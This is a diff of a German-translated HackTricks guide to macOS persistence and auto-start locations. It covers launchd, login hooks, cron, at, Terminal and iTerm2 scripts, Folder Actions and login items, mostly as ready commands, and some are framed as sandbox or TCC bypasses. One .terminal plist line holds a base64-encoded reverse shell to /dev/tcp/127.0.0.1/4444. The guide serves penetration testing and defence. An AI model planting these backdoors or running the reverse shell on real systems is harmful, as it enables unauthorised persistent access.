* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen** möchten oder **HackTricks im PDF-Format herunterladen** möchten, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -19,7 +19,7 @@ Dieser Abschnitt basiert stark auf der Blog-Serie [**Beyond the good ol' LaunchA
|
|||
## Sandbox-Umgehung
|
||||
|
||||
{% hint style="success" %}
|
||||
Hier finden Sie Startorte, die für die **Sandbox-Umgehung** nützlich sind und es Ihnen ermöglichen, einfach etwas auszuführen, indem Sie es in eine Datei schreiben und auf eine sehr **übliche Aktion**, eine bestimmte **Zeitmenge** oder eine **Aktion warten, die Sie normalerweise** innerhalb einer Sandbox ausführen können, ohne Root-Berechtigungen zu benötigen.
|
||||
Hier finden Sie Startorte, die für die **Sandbox-Umgehung** nützlich sind und es Ihnen ermöglichen, einfach etwas auszuführen, indem Sie es in eine Datei schreiben und auf eine sehr **übliche Aktion**, eine bestimmte **Zeitdauer** oder eine **Aktion warten, die Sie normalerweise** innerhalb einer Sandbox ausführen können, ohne Root-Berechtigungen zu benötigen.
|
||||
{% endhint %}
|
||||
|
||||
### Launchd
|
||||
|
@ -55,7 +55,7 @@ Hier finden Sie Startorte, die für die **Sandbox-Umgehung** nützlich sind und
|
|||
* `/System/Library/LaunchAgents`: Vom Apple bereitgestellte benutzerbezogene Agenten
|
||||
* `/System/Library/LaunchDaemons`: Vom Apple bereitgestellte systemweite Daemons
|
||||
|
||||
Wenn sich ein Benutzer anmeldet, werden die in `/Users/$USER/Library/LaunchAgents` und `/Users/$USER/Library/LaunchDemons` befindlichen Plists mit den **Berechtigungen des angemeldeten Benutzers gestartet**.
|
||||
Wenn sich ein Benutzer anmeldet, werden die in `/Users/$USER/Library/LaunchAgents` und `/Users/$USER/Library/LaunchDemons` befindlichen Plists mit den **Berechtigungen des angemeldeten Benutzers** gestartet.
|
||||
|
||||
Der **Hauptunterschied zwischen Agenten und Daemons besteht darin, dass Agenten geladen werden, wenn sich der Benutzer anmeldet, und die Daemons beim Systemstart geladen werden** (da Dienste wie ssh ausgeführt werden müssen, bevor ein Benutzer auf das System zugreift). Außerdem können Agenten die GUI verwenden, während Daemons im Hintergrund ausgeführt werden müssen.
|
||||
```xml
|
||||
|
@ -83,13 +83,13 @@ Der **Hauptunterschied zwischen Agenten und Daemons besteht darin, dass Agenten
|
|||
Es gibt Fälle, in denen ein **Agent ausgeführt werden muss, bevor sich der Benutzer anmeldet**, diese werden als **PreLoginAgents** bezeichnet. Zum Beispiel ist dies nützlich, um unterstützende Technologien beim Login bereitzustellen. Sie können auch in `/Library/LaunchAgents` gefunden werden (siehe [**hier**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) ein Beispiel).
|
||||
|
||||
{% hint style="info" %}
|
||||
Neue Daemon- oder Agent-Konfigurationsdateien werden **nach dem nächsten Neustart geladen oder mit** `launchctl load <target.plist>` **verwendet**. Es ist **auch möglich, .plist-Dateien ohne diese Erweiterung zu laden** mit `launchctl -F <file>` (jedoch werden diese plist-Dateien nicht automatisch nach dem Neustart geladen).\
|
||||
Es ist auch möglich, **zu entladen** mit `launchctl unload <target.plist>` (der Prozess, auf den es zeigt, wird beendet).
|
||||
Neue Daemon- oder Agent-Konfigurationsdateien werden **nach dem nächsten Neustart geladen oder mit** `launchctl load <target.plist>` **geladen**. Es ist **auch möglich, .plist-Dateien ohne diese Erweiterung** mit `launchctl -F <file>` zu laden (jedoch werden diese plist-Dateien nicht automatisch nach dem Neustart geladen).\
|
||||
Es ist auch möglich, mit `launchctl unload <target.plist>` zu **entladen** (der Prozess, auf den er zeigt, wird beendet).
|
||||
|
||||
Um **sicherzustellen**, dass nichts (wie eine Überschreibung) **das Ausführen eines** **Agenten** oder **Daemons** **verhindert**, führen Sie aus: `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist`
|
||||
{% endhint %}
|
||||
|
||||
Liste alle Agents und Daemons auf, die vom aktuellen Benutzer geladen wurden:
|
||||
Liste alle vom aktuellen Benutzer geladenen Agenten und Daemons auf:
|
||||
```bash
|
||||
launchctl list
|
||||
```
|
||||
|
@ -138,7 +138,7 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc
|
|||
### Wiedereröffnete Anwendungen
|
||||
|
||||
{% hint style="danger" %}
|
||||
Die Konfiguration der angegebenen Ausnutzung und das Aus- und Einloggen oder sogar das Neustarten haben bei mir nicht funktioniert, um die App auszuführen. (Die App wurde nicht ausgeführt, vielleicht muss sie ausgeführt werden, wenn diese Aktionen durchgeführt werden)
|
||||
Die Konfiguration der angegebenen Ausnutzung und das Abmelden und Anmelden oder sogar das Neustarten haben bei mir nicht funktioniert, um die App auszuführen. (Die App wurde nicht ausgeführt, vielleicht muss sie ausgeführt werden, wenn diese Aktionen durchgeführt werden)
|
||||
{% endhint %}
|
||||
|
||||
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0021/](https://theevilbit.github.io/beyond/beyond\_0021/)
|
||||
|
@ -149,7 +149,7 @@ Die Konfiguration der angegebenen Ausnutzung und das Aus- und Einloggen oder sog
|
|||
#### Ort
|
||||
|
||||
* **`~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist`**
|
||||
* **Auslöser**: Neustart von wiedereröffneten Anwendungen
|
||||
* **Auslöser**: Neustart der wiedereröffneten Anwendungen
|
||||
|
||||
#### Beschreibung & Ausnutzung
|
||||
|
||||
|
@ -157,7 +157,7 @@ Alle Anwendungen, die wieder geöffnet werden sollen, befinden sich in der Plist
|
|||
|
||||
Um also die wieder zu öffnenden Anwendungen dazu zu bringen, Ihre eigene zu starten, müssen Sie nur **Ihre App zur Liste hinzufügen**.
|
||||
|
||||
Die UUID kann gefunden werden, indem Sie dieses Verzeichnis auflisten oder mit `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'`
|
||||
Die UUID kann durch Auflisten dieses Verzeichnisses oder mit `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'` gefunden werden.
|
||||
|
||||
Um die Anwendungen zu überprüfen, die wieder geöffnet werden sollen, können Sie Folgendes tun:
|
||||
```bash
|
||||
|
@ -181,7 +181,7 @@ Um **eine Anwendung zu dieser Liste hinzuzufügen**, können Sie Folgendes verwe
|
|||
* TCC Umgehung: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Terminal verwendet FDA-Berechtigungen des Benutzers, der es verwendet
|
||||
|
||||
#### Ort
|
||||
#### Standort
|
||||
|
||||
* **`~/Library/Preferences/com.apple.Terminal.plist`**
|
||||
* **Auslöser**: Terminal öffnen
|
||||
|
@ -210,9 +210,9 @@ Diese Konfiguration wird in der Datei **`~/Library/Preferences/com.apple.Termina
|
|||
}
|
||||
[...]
|
||||
```
|
||||
So, wenn die plist der Einstellungen des Terminals im System überschrieben werden könnte, kann die **`open`** Funktionalität verwendet werden, um **das Terminal zu öffnen und dieser Befehl wird ausgeführt**.
|
||||
Also, wenn die Plist der Einstellungen des Terminals im System überschrieben werden könnte, kann die **`open`**-Funktionalität verwendet werden, um das Terminal zu öffnen und dieser Befehl wird ausgeführt.
|
||||
|
||||
Dies kann über die Befehlszeile mit folgendem Befehl hinzugefügt werden:
|
||||
Sie können dies über die Befehlszeile mit folgendem Befehl hinzufügen:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -225,20 +225,20 @@ Dies kann über die Befehlszeile mit folgendem Befehl hinzugefügt werden:
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
### Terminal-Skripte / Andere Dateierweiterungen
|
||||
### Terminal Skripte / Andere Dateierweiterungen
|
||||
|
||||
* Nützlich, um die Sandbox zu umgehen: [✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC-Umgehung: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Terminal verwenden, um FDA-Berechtigungen des Benutzers zu erhalten
|
||||
* Terminal verwendet FDA-Berechtigungen des Benutzers, der es verwendet
|
||||
|
||||
#### Ort
|
||||
|
||||
* **Überall**
|
||||
* **Auslöser**: Öffnen Sie das Terminal
|
||||
* **Auslöser**: Öffnen des Terminals
|
||||
|
||||
#### Beschreibung & Ausnutzung
|
||||
|
||||
Wenn Sie ein [**`.terminal`**-Skript](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) erstellen und öffnen, wird die **Terminal-Anwendung** automatisch aufgerufen, um die darin angegebenen Befehle auszuführen. Wenn die Terminal-App über besondere Berechtigungen verfügt (wie TCC), wird Ihr Befehl mit diesen besonderen Berechtigungen ausgeführt.
|
||||
Wenn Sie ein [**`.terminal`** Skript](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) erstellen und öffnen, wird die **Terminalanwendung** automatisch aufgerufen, um die darin angegebenen Befehle auszuführen. Wenn die Terminal-App über besondere Berechtigungen verfügt (wie TCC), werden Ihre Befehle mit diesen besonderen Berechtigungen ausgeführt.
|
||||
|
||||
Probieren Sie es aus:
|
||||
```bash
|
||||
|
@ -268,48 +268,42 @@ open /tmp/test.terminal
|
|||
# Use something like the following for a reverse shell:
|
||||
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>
|
||||
```
|
||||
You could also use the extensions **`.command`**, **`.tool`**, with regular shell scripts content and they will be also opened by Terminal.
|
||||
|
||||
{% hint style="danger" %}
|
||||
If terminal has **Full Disk Access** it will be able to complete that action (note that the command executed will be visible in a terminal window).
|
||||
{% endhint %}
|
||||
|
||||
### Audio Plugins
|
||||
### Audio-Plugins
|
||||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0013/](https://theevilbit.github.io/beyond/beyond\_0013/)\
|
||||
Writeup: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://posts.specterops.io/audio-unit-plug-ins-896d3434a882)
|
||||
|
||||
* Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC bypass: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* You might get some extra TCC access
|
||||
* Nützlich zur Umgehung der Sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC-Umgehung: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Möglicherweise zusätzlicher TCC-Zugriff
|
||||
|
||||
#### Location
|
||||
#### Standort
|
||||
|
||||
* **`/Library/Audio/Plug-Ins/HAL`**
|
||||
* Root required
|
||||
* **Trigger**: Restart coreaudiod or the computer
|
||||
* Benötigt Root-Zugriff
|
||||
* **Auslöser**: Neustart von coreaudiod oder des Computers
|
||||
* **`/Library/Audio/Plug-ins/Components`**
|
||||
* Root required
|
||||
* **Trigger**: Restart coreaudiod or the computer
|
||||
* Benötigt Root-Zugriff
|
||||
* **Auslöser**: Neustart von coreaudiod oder des Computers
|
||||
* **`~/Library/Audio/Plug-ins/Components`**
|
||||
* **Trigger**: Restart coreaudiod or the computer
|
||||
* **Auslöser**: Neustart von coreaudiod oder des Computers
|
||||
* **`/System/Library/Components`**
|
||||
* Root required
|
||||
* **Trigger**: Restart coreaudiod or the computer
|
||||
* Benötigt Root-Zugriff
|
||||
* **Auslöser**: Neustart von coreaudiod oder des Computers
|
||||
|
||||
#### Description
|
||||
#### Beschreibung
|
||||
|
||||
According to the previous writeups it's possible to **compile some audio plugins** and get them loaded.
|
||||
Laut den vorherigen Berichten ist es möglich, **einige Audio-Plugins zu kompilieren** und sie zu laden.
|
||||
|
||||
### QuickLook Plugins
|
||||
### QuickLook-Plugins
|
||||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/)
|
||||
|
||||
* Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC bypass: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* You might get some extra TCC access
|
||||
* Nützlich zur Umgehung der Sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC-Umgehung: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Möglicherweise zusätzlicher TCC-Zugriff
|
||||
|
||||
#### Location
|
||||
#### Standort
|
||||
|
||||
* `/System/Library/QuickLook`
|
||||
* `/Library/QuickLook`
|
||||
|
@ -317,29 +311,29 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.
|
|||
* `/Applications/AppNameHere/Contents/Library/QuickLook/`
|
||||
* `~/Applications/AppNameHere/Contents/Library/QuickLook/`
|
||||
|
||||
#### Description & Exploitation
|
||||
#### Beschreibung & Ausnutzung
|
||||
|
||||
QuickLook plugins can be executed when you **trigger the preview of a file** (press space bar with the file selected in Finder) and a **plugin supporting that file type** is installed.
|
||||
QuickLook-Plugins können ausgeführt werden, wenn Sie die **Vorschau einer Datei auslösen** (Leertaste drücken, wenn die Datei in Finder ausgewählt ist) und ein **Plugin, das diesen Dateityp unterstützt**, installiert ist.
|
||||
|
||||
It's possible to compile your own QuickLook plugin, place it in one of the previous locations to load it and then go to a supported file and press space to trigger it.
|
||||
Es ist möglich, Ihr eigenes QuickLook-Plugin zu kompilieren, es an einem der vorherigen Standorte zu platzieren, um es zu laden, und dann zu einer unterstützten Datei zu gehen und die Leertaste zu drücken, um es auszulösen.
|
||||
|
||||
### ~~Login/Logout Hooks~~
|
||||
### ~~Anmelde-/Abmelde-Hooks~~
|
||||
|
||||
{% hint style="danger" %}
|
||||
This didn't work for me, neither with the user LoginHook nor with the root LogoutHook
|
||||
Das hat bei mir nicht funktioniert, weder mit dem Benutzer-LoginHook noch mit dem Root-LogoutHook
|
||||
{% endhint %}
|
||||
|
||||
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0022/](https://theevilbit.github.io/beyond/beyond\_0022/)
|
||||
|
||||
* Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC bypass: [🔴](https://emojipedia.org/large-red-circle)
|
||||
* Nützlich zur Umgehung der Sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC-Umgehung: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### Location
|
||||
#### Standort
|
||||
|
||||
* You need to be able to execute something like `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh`
|
||||
* `Lo`cated in `~/Library/Preferences/com.apple.loginwindow.plist`
|
||||
* Sie müssen in der Lage sein, etwas wie `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh` auszuführen
|
||||
* Befindet sich in `~/Library/Preferences/com.apple.loginwindow.plist`
|
||||
|
||||
They are deprecated but can be used to execute commands when a user logs in.
|
||||
Sie sind veraltet, können aber verwendet werden, um Befehle auszuführen, wenn sich ein Benutzer anmeldet.
|
||||
```bash
|
||||
cat > $HOME/hook.sh << EOF
|
||||
#!/bin/bash
|
||||
|
@ -371,7 +365,7 @@ Der Root-Benutzer wird in **`/private/var/root/Library/Preferences/com.apple.log
|
|||
## Bedingte Sandbox-Umgehung
|
||||
|
||||
{% hint style="success" %}
|
||||
Hier finden Sie Startorte, die nützlich sind für die **Sandbox-Umgehung**, die es Ihnen ermöglicht, einfach etwas auszuführen, indem Sie es in eine Datei schreiben und nicht allzu häufige Bedingungen erwarten, wie spezifische installierte Programme, "ungewöhnliche" Benutzeraktionen oder Umgebungen.
|
||||
Hier finden Sie Startorte, die nützlich sind für die **Sandbox-Umgehung**, die es Ihnen ermöglicht, einfach etwas auszuführen, indem Sie es in eine Datei schreiben und nicht allzu häufige Bedingungen erwarten, wie spezifische installierte **Programme, "ungewöhnliche" Benutzer**-Aktionen oder Umgebungen.
|
||||
{% endhint %}
|
||||
|
||||
### Cron
|
||||
|
@ -391,18 +385,18 @@ Hier finden Sie Startorte, die nützlich sind für die **Sandbox-Umgehung**, die
|
|||
|
||||
#### Beschreibung & Ausnutzung
|
||||
|
||||
Liste die Cron-Jobs des **aktuellen Benutzers** auf mit:
|
||||
Listen Sie die Cron-Jobs des **aktuellen Benutzers** auf mit:
|
||||
```bash
|
||||
crontab -l
|
||||
```
|
||||
Sie können auch alle Cron-Jobs der Benutzer in **`/usr/lib/cron/tabs/`** und **`/var/at/tabs/`** (benötigt Root-Zugriff) einsehen.
|
||||
Du kannst auch alle Cron-Jobs der Benutzer in **`/usr/lib/cron/tabs/`** und **`/var/at/tabs/`** (benötigt Root-Zugriff) einsehen.
|
||||
|
||||
In MacOS können in mehreren Ordnern Skripte mit **bestimmter Häufigkeit** ausgeführt werden:
|
||||
In MacOS können mehrere Ordner gefunden werden, die Skripte mit **bestimmter Häufigkeit** ausführen:
|
||||
```bash
|
||||
# The one with the cron jobs is /usr/lib/cron/tabs/
|
||||
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
|
||||
```
|
||||
Hier finden Sie die regulären **cron-Jobs**, die **at-Jobs** (die nicht sehr häufig verwendet werden) und die **periodischen Jobs** (hauptsächlich zur Bereinigung temporärer Dateien verwendet). Die täglichen periodischen Jobs können beispielsweise mit dem Befehl `periodic daily` ausgeführt werden.
|
||||
Hier finden Sie die regulären **cron-Jobs**, die **at-Jobs** (die nicht sehr häufig verwendet werden) und die **periodischen Jobs** (hauptsächlich zur Bereinigung temporärer Dateien). Die täglichen periodischen Jobs können beispielsweise mit `periodic daily` ausgeführt werden.
|
||||
|
||||
Um **benutzerdefinierte Cron-Jobs programmgesteuert hinzuzufügen**, ist es möglich, zu verwenden:
|
||||
```bash
|
||||
|
@ -420,11 +414,11 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0002/](https://theevilbit.
|
|||
#### Standorte
|
||||
|
||||
* **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`**
|
||||
* **Auslöser**: Öffnen von iTerm
|
||||
* **Auslöser**: iTerm öffnen
|
||||
* **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`**
|
||||
* **Auslöser**: Öffnen von iTerm
|
||||
* **Auslöser**: iTerm öffnen
|
||||
* **`~/Library/Preferences/com.googlecode.iterm2.plist`**
|
||||
* **Auslöser**: Öffnen von iTerm
|
||||
* **Auslöser**: iTerm öffnen
|
||||
|
||||
#### Beschreibung & Ausnutzung
|
||||
|
||||
|
@ -443,23 +437,23 @@ chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
|
|||
|
||||
Launch Agents are used to run processes when a user logs in. They are located in the following directories:
|
||||
|
||||
- `/Library/LaunchAgents/`
|
||||
- `/System/Library/LaunchAgents/`
|
||||
- `/Users/<username>/Library/LaunchAgents/`
|
||||
- `/Library/LaunchAgents`
|
||||
- `/System/Library/LaunchAgents`
|
||||
- `/Users/<username>/Library/LaunchAgents`
|
||||
|
||||
#### Launch Daemons
|
||||
|
||||
Launch Daemons are used to run processes at system startup. They are located in the following directories:
|
||||
|
||||
- `/Library/LaunchDaemons/`
|
||||
- `/System/Library/LaunchDaemons/`
|
||||
- `/Library/LaunchDaemons`
|
||||
- `/System/Library/LaunchDaemons`
|
||||
|
||||
#### Startup Items
|
||||
|
||||
Startup Items are legacy and deprecated but may still be present on older systems. They are located in the following directories:
|
||||
|
||||
- `/Library/StartupItems/`
|
||||
- `/System/Library/StartupItems/`
|
||||
- `/Library/StartupItems`
|
||||
- `/System/Library/StartupItems`
|
||||
```bash
|
||||
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
|
||||
#!/usr/bin/env python3
|
||||
|
@ -524,7 +518,7 @@ Bericht: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilbit.
|
|||
* TCC-Umgehung: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Es fordert Zugriffsberechtigungen für die Bedienungshilfen an
|
||||
|
||||
#### Standort
|
||||
#### Ort
|
||||
|
||||
* **`~/Library/Application\ Support/xbar/plugins/`**
|
||||
* **Auslöser**: Sobald xbar ausgeführt wird
|
||||
|
@ -543,10 +537,10 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
|
|||
|
||||
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0008/](https://theevilbit.github.io/beyond/beyond\_0008/)
|
||||
|
||||
* Nützlich, um die Sandbox zu umgehen: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Nützlich zur Umgehung der Sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Aber Hammerspoon muss installiert sein
|
||||
* TCC-Umgehung: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Es fordert Zugriffsberechtigungen für die Bedienungshilfen an
|
||||
* Es fordert Zugriffsberechtigungen für Bedienungshilfen an
|
||||
|
||||
#### Standort
|
||||
|
||||
|
@ -557,7 +551,7 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
|
|||
|
||||
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) dient als Automatisierungsplattform für **macOS** und nutzt die **LUA-Skriptsprache** für seine Operationen. Es unterstützt die Integration von vollständigem AppleScript-Code und die Ausführung von Shell-Skripten, was seine Skriptfähigkeiten erheblich verbessert.
|
||||
|
||||
Die App sucht nach einer einzigen Datei, `~/.hammerspoon/init.lua`, und wenn gestartet, wird das Skript ausgeführt.
|
||||
Die App sucht nach einer einzigen Datei, `~/.hammerspoon/init.lua`, und wenn sie gestartet wird, wird das Skript ausgeführt.
|
||||
```bash
|
||||
mkdir -p "$HOME/.hammerspoon"
|
||||
cat > "$HOME/.hammerspoon/init.lua" << EOF
|
||||
|
@ -588,7 +582,7 @@ Dieses Tool ermöglicht es, Anwendungen oder Skripte anzugeben, die ausgeführt
|
|||
|
||||
* `???`
|
||||
|
||||
Es ermöglicht die Erstellung von Workflows, die Code ausführen können, wenn bestimmte Bedingungen erfüllt sind. Möglicherweise ist es für einen Angreifer möglich, eine Workflow-Datei zu erstellen und Alfred dazu zu bringen, sie zu laden (es ist erforderlich, die Premium-Version zu bezahlen, um Workflows zu verwenden).
|
||||
Es ermöglicht das Erstellen von Workflows, die Code ausführen können, wenn bestimmte Bedingungen erfüllt sind. Möglicherweise ist es für einen Angreifer möglich, eine Workflow-Datei zu erstellen und Alfred dazu zu bringen, sie zu laden (es ist erforderlich, die Premium-Version zu bezahlen, um Workflows zu verwenden).
|
||||
|
||||
### SSHRC
|
||||
|
||||
|
@ -608,7 +602,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.
|
|||
* **Auslöser**: Anmeldung über SSH
|
||||
|
||||
{% hint style="danger" %}
|
||||
Um SSH zu aktivieren, ist Vollzugriff auf den Datenträger erforderlich:
|
||||
Um SSH einzuschalten, ist Vollzugriff auf den Datenträger erforderlich:
|
||||
```bash
|
||||
sudo systemsetup -setremotelogin on
|
||||
```
|
||||
|
@ -651,19 +645,19 @@ osascript -e 'tell application "System Events" to delete login item "itemname"'
|
|||
```
|
||||
Diese Elemente werden in der Datei **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`** gespeichert.
|
||||
|
||||
**Anmeldeobjekte** können auch über die API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) angegeben werden, die die Konfiguration in **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** speichert.
|
||||
**Anmeldeobjekte** können auch mit der API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) angegeben werden, die die Konfiguration in **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** speichert.
|
||||
|
||||
### ZIP als Anmeldeobjekt
|
||||
|
||||
(Siehe vorherigen Abschnitt über Anmeldeobjekte, dies ist eine Erweiterung)
|
||||
|
||||
Wenn Sie eine **ZIP**-Datei als **Anmeldeobjekt** speichern, wird das **`Archive-Dienstprogramm`** es öffnen. Wenn die ZIP-Datei beispielsweise in **`~/Library`** gespeichert war und den Ordner **`LaunchAgents/file.plist`** mit einem Backdoor enthielt, wird dieser Ordner erstellt (standardmäßig nicht vorhanden) und die plist wird hinzugefügt, sodass beim nächsten Mal, wenn sich der Benutzer erneut anmeldet, die im plist angegebene **Backdoor ausgeführt wird**.
|
||||
Wenn Sie eine **ZIP**-Datei als **Anmeldeobjekt** speichern, wird das **`Archive-Dienstprogramm`** es öffnen. Wenn die ZIP-Datei beispielsweise in **`~/Library`** gespeichert war und den Ordner **`LaunchAgents/file.plist`** mit einer Hintertür enthielt, wird dieser Ordner erstellt (standardmäßig nicht vorhanden) und die plist wird hinzugefügt, sodass beim nächsten Mal, wenn sich der Benutzer erneut anmeldet, die **in der plist angegebene Hintertür ausgeführt wird**.
|
||||
|
||||
Eine weitere Option wäre, die Dateien **`.bash_profile`** und **`.zshenv`** im Benutzer-HOME zu erstellen, sodass diese Technik auch funktionieren würde, wenn der Ordner LaunchAgents bereits existiert.
|
||||
Eine andere Möglichkeit wäre, die Dateien **`.bash_profile`** und **`.zshenv`** im Benutzer-HOME zu erstellen, sodass diese Technik auch funktionieren würde, wenn der Ordner LaunchAgents bereits existiert.
|
||||
|
||||
### At
|
||||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilbit.github.io/beyond/beyond\_0014/)
|
||||
Bericht: [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilbit.github.io/beyond/beyond\_0014/)
|
||||
|
||||
* Nützlich zur Umgehung der Sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Aber Sie müssen **`at`** **ausführen** und es muss **aktiviert** sein
|
||||
|
@ -681,7 +675,7 @@ Standardmäßig sind sie **deaktiviert**, aber der **root**-Benutzer kann **sie*
|
|||
```bash
|
||||
sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist
|
||||
```
|
||||
Dies wird eine Datei in 1 Stunde erstellen:
|
||||
Dies wird in 1 Stunde eine Datei erstellen:
|
||||
```bash
|
||||
echo "echo 11 > /tmp/at.txt" | at now+1
|
||||
```
|
||||
|
@ -726,7 +720,7 @@ echo 11 > /tmp/at.txt
|
|||
Wenn AT-Aufgaben nicht aktiviert sind, werden die erstellten Aufgaben nicht ausgeführt.
|
||||
{% endhint %}
|
||||
|
||||
Die **Jobdateien** befinden sich unter `/private/var/at/jobs/`
|
||||
Die **Job-Dateien** befinden sich unter `/private/var/at/jobs/`
|
||||
```
|
||||
sh-3.2# ls -l /private/var/at/jobs/
|
||||
total 32
|
||||
|
@ -763,7 +757,7 @@ Writeup: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-89
|
|||
|
||||
#### Beschreibung & Ausnutzung
|
||||
|
||||
Ordneraktionen sind Skripte, die automatisch durch Änderungen in einem Ordner ausgelöst werden, wie das Hinzufügen, Entfernen von Elementen oder andere Aktionen wie das Öffnen oder Ändern der Fenstergröße des Ordners. Diese Aktionen können für verschiedene Aufgaben genutzt werden und können auf verschiedene Weisen ausgelöst werden, z. B. über die Finder-Benutzeroberfläche oder Terminalbefehle.
|
||||
Ordneraktionen sind Skripte, die automatisch durch Änderungen in einem Ordner ausgelöst werden, wie das Hinzufügen oder Entfernen von Elementen oder anderen Aktionen wie das Öffnen oder Ändern der Größe des Ordnerfensters. Diese Aktionen können für verschiedene Aufgaben genutzt werden und können auf verschiedene Weisen ausgelöst werden, z. B. über die Finder-Benutzeroberfläche oder Terminalbefehle.
|
||||
|
||||
Um Ordneraktionen einzurichten, haben Sie Optionen wie:
|
||||
|
||||
|
@ -796,7 +790,7 @@ var fa = se.FolderAction({name: "Desktop", path: "/Users/username/Desktop"});
|
|||
se.folderActions.push(fa);
|
||||
fa.scripts.push(myScript);
|
||||
```
|
||||
Führen Sie das Einrichtungsskript mit aus:
|
||||
Führen Sie das Einrichtungsskript mit:
|
||||
```bash
|
||||
osascript -l JavaScript /Users/username/attach.scpt
|
||||
```
|
||||
|
@ -828,7 +822,7 @@ Dann öffnen Sie die `Folder Actions Setup`-App, wählen Sie den **Ordner, den S
|
|||
|
||||
Wenn Sie nun diesen Ordner mit dem **Finder** öffnen, wird Ihr Skript ausgeführt.
|
||||
|
||||
Diese Konfiguration wurde im **plist** im Base64-Format gespeichert, das sich in **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** befindet.
|
||||
Diese Konfiguration wurde im **plist** im base64-Format gespeichert, das sich unter **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** befindet.
|
||||
|
||||
